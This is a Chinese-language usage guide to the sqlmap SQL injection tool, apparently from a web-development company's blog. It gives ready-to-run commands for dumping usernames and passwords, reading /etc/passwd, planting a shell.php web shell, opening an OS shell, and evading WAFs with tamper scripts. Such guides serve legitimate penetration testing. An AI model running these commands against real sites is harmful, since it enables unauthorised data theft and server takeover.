sqlmap工具
2026/7/19 9:05:04 网站建设 项目流程

这是一份关于SQLMap的详细使用文档。SQLMap 是一款开源的自动化 SQL 注入工具,功能非常强大,支持多种数据库(MySQL, Oracle, SQL Server, PostgreSQL, SQLite 等)和多种注入类型(布尔盲注、时间盲注、报错注入、联合查询注入、堆叠注入)。


目录

  1. 基础用法
  2. 目标设置
  3. 请求配置
  4. 注入与检测
  5. 数据提取与枚举
  6. 高级功能
  7. 绕过 WAF/IDS
  8. 实用技巧与参数
  9. 常用组合示例

1. 基础用法

最基础的用法就是加上-u参数指定目标 URL(通常需要确保 URL 中带有可测试的参数,如?id=1)。

sqlmap-u"http://example.com/page.php?id=1"

2. 目标设置

SQLMap 需要知道你要测试哪里,以下是指定目标的常用参数:

  • -u URL, --url=URL: 指定目标 URL。
  • -m FILE: 从文本文件中批量读取 URL 进行扫描。
  • -r FILE: 加载一个 HTTP 请求文件(通常从 Burp Suite 导出)。非常适合 POST 注入、HTTP 头注入或需要 Cookie 认证的页面。
  • -g "Google搜索语法": 利用 Google Dork 自动搜索并测试可能存在注入的站点(如-g "inurl:php?id=")。
  • --data=DATA: 指定 POST 提交的数据(如--data="id=1&name=admin")。

3. 请求配置(HTTP)

在真实环境中,往往需要配置 HTTP 请求头才能访问到有漏洞的页面。

  • --cookie=COOKIE: 指定 HTTP Cookie 头(用于需要登录的页面)。
  • --user-agent=AGENT: 指定 User-Agent。
  • --random-agent: 使用随机生成的 User-Agent(防止被简单的 UA 拦截)。
  • --host=HOST: 指定 Host 头。
  • --referer=REFERER: 指定 Referer 头。
  • --headers=HEADERS: 额外的 HTTP 头(如--headers="X-Forwarded-For: 127.0.0.1")。
  • --auth-type=TYPE: HTTP 认证类型(Basic, Digest, NTLM)。
  • --auth-cred=USER:PASS: HTTP 认证账号密码。
  • --proxy=PROXY: 使用代理(如--proxy="http://127.0.0.1:8080",常用于配合 Burp 抓包)。
  • --delay=DELAY: 每次请求之间的延迟秒数(防止请求过快被ban,默认无延迟)。
  • --timeout=TIMEOUT: 请求超时时间(默认 30 秒)。
  • --retries=RETRIES: 连接失败时的重试次数(默认 3 次)。

4. 注入与检测

控制 SQLMap 如何进行测试和注入。

  • -p TESTPARAMETER: 指定要测试的参数(如-p "id"),如果不指定,SQLMap 会测试所有参数。
  • --skip=SKIP: 跳过指定的参数不进行测试。
  • --dbms=DBMS: 指定后端数据库类型(如--dbms="mysql"),可以大幅节省探测时间。
  • --os=OS: 指定后端操作系统类型。
  • --level=LEVEL:测试级别(1-5,默认 1)
    • Level 1: 测试 GET/POST 参数。
    • Level 2: 测试 HTTP Cookie 头。
    • Level 3: 测试 HTTP User-Agent/Referer 头。
    • Level 4-5: 更多的测试 payload。
  • --risk=RISK:风险级别(1-3,默认 1)
    • Risk 1: 安全的测试语句,不会对数据库造成破坏。
    • Risk 2: 基于时间的大量查询测试语句。
    • Risk 3: 基于OR的测试语句(慎用,可能会修改数据库数据,如UPDATE语句被注入变成修改全表)。
  • --technique=TECH: 指定使用的注入技术(默认 BEUSTQ)。
    • B: Boolean-based blind (布尔盲注)
    • E: Error-based (报错注入)
    • U: Union query-based (联合查询注入)
    • S: Stacked queries (堆叠注入)
    • T: Time-based blind (时间盲注)
    • Q: Inline queries (内联查询)

5. 数据提取与枚举

确认存在注入后,使用以下参数提取数据。

  • -b, --banner: 获取数据库版本信息。
  • --current-user: 获取当前数据库用户名。
  • --current-db: 获取当前数据库名。
  • --is-dba: 判断当前用户是否为 DBA(管理员权限)。
  • --dbs: 枚举所有数据库名。
  • --tables: 枚举指定数据库中的所有表(需配合-D)。
  • --columns: 枚举指定表中的所有字段(需配合-D-T)。
  • --schema: 枚举数据库架构。
  • --dump: 导出指定表的数据(需配合-D-T)。
  • --dump-all: 导出所有数据库的所有表(极其耗时,慎用)。
  • -D DB: 指定要操作的数据库名。
  • -T TABLE: 指定要操作的表名。
  • -C COL: 指定要操作的字段名(如-C "username,password")。
  • --start=START: 指定导出数据的起始行。
  • --stop=STOP: 指定导出数据的结束行(如只导出前 10 条:--start=1 --stop=10)。
  • --sql-query=QUERY: 执行自定义的 SQL 语句(如--sql-query="SELECT * FROM users LIMIT 5")。

6. 高级功能(文件操作与OS Shell)

如果当前数据库用户权限足够高(通常是 DBA),可以进行更危险的操作。

  • --file-read=RFILE: 读取后端服务器上的文件(如--file-read="/etc/passwd")。
  • --file-write=WFILE: 写入本地文件到后端服务器(需配合--file-dest)。
  • --file-dest=DFILE: 指定写入到后端服务器的绝对路径。
    • 示例:sqlmap -u "url" --file-write="/shell.php" --file-dest="/var/www/html/shell.php"
  • --os-cmd=OSCMD: 执行单条操作系统命令。
  • --os-shell: 获取一个交互式的操作系统 Shell(通常通过写一个上传脚本或 UDF 提权实现)。
  • --os-pwn: 获取一个 OOB (Out-of-Band) 的反弹 Shell(结合 Metasploit 使用)。

7. 绕过 WAF/IDS

当目标存在防护设备时,可以使用以下参数尝试绕过。

  • --tamper=TAMPER: 使用混淆脚本绕过 WAF。SQLMap 自带了数十个 tamper 脚本位于tamper/目录下。
    • 常用 tamper:space2comment.py(空格替换为注释)、charunicodeencode.py(Unicode编码)、apostrophemask.py(引号编码)。
    • 可同时使用多个:--tamper="space2comment,charunicodeencode"
  • --random-agent: 随机 UA,绕过基于 UA 的拦截。
  • --hpp: 使用 HTTP 参数污染(例如?id=1&id=1)。
  • --delay=2: 降低请求频率,绕过基于频率的拦截。
  • --proxy: 配合代理池不断更换 IP。

8. 实用技巧与参数

  • --batch:自动模式。不在测试过程中询问用户任何问题,全部采用默认逻辑执行。在写脚本或无人值守时必加。
  • --flush-session: 清空当前 URL 的会话记录,重新进行测试(默认 SQLMap 会读取历史测试结果)。
  • --wizard: 向导模式,适合新手,一步步引导你输入参数。
  • --mobile: 模拟手机 UA。
  • --privileges: 查看当前用户的权限。
  • --roles: 查看当前用户的角色。

9. 常用组合示例

示例 1:最基础的 GET 注入测试

sqlmap-u"http://example.com/news.php?id=1"--batch--random-agent

示例 2:带 Cookie 的认证后注入,并指定 MySQL 数据库

sqlmap-u"http://example.com/user.php?id=1"--cookie="PHPSESSID=1234567890abcdef"--dbms="MySQL"--batch

示例 3:POST 注入(使用 Burp 抓包保存为 post.txt)

sqlmap-rpost.txt-p"username"--batch

示例 4:直接脱裤(Dump 数据)

# 1. 爆库sqlmap-u"http://example.com/news.php?id=1"--dbs--batch# 2. 爆表 (假设数据库名为 web_db)sqlmap-u"http://example.com/news.php?id=1"-D"web_db"--tables--batch# 3. 爆字段 (假设表名为 users)sqlmap-u"http://example.com/news.php?id=1"-D"web_db"-T"users"--columns--batch# 4. 爆数据 (假设字段为 username,password)sqlmap-u"http://example.com/news.php?id=1"-D"web_db"-T"users"-C"username,password"--dump--batch

示例 5:高阶测试(测试 HTTP 头,高风险,使用 Tamper 绕过 WAF)

sqlmap-u"http://example.com/news.php?id=1"--level=3--risk=2--tamper="space2comment,randomcase"--batch

示例 6:尝试获取 OS Shell

sqlmap-u"http://example.com/news.php?id=1"--os-shell--batch

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询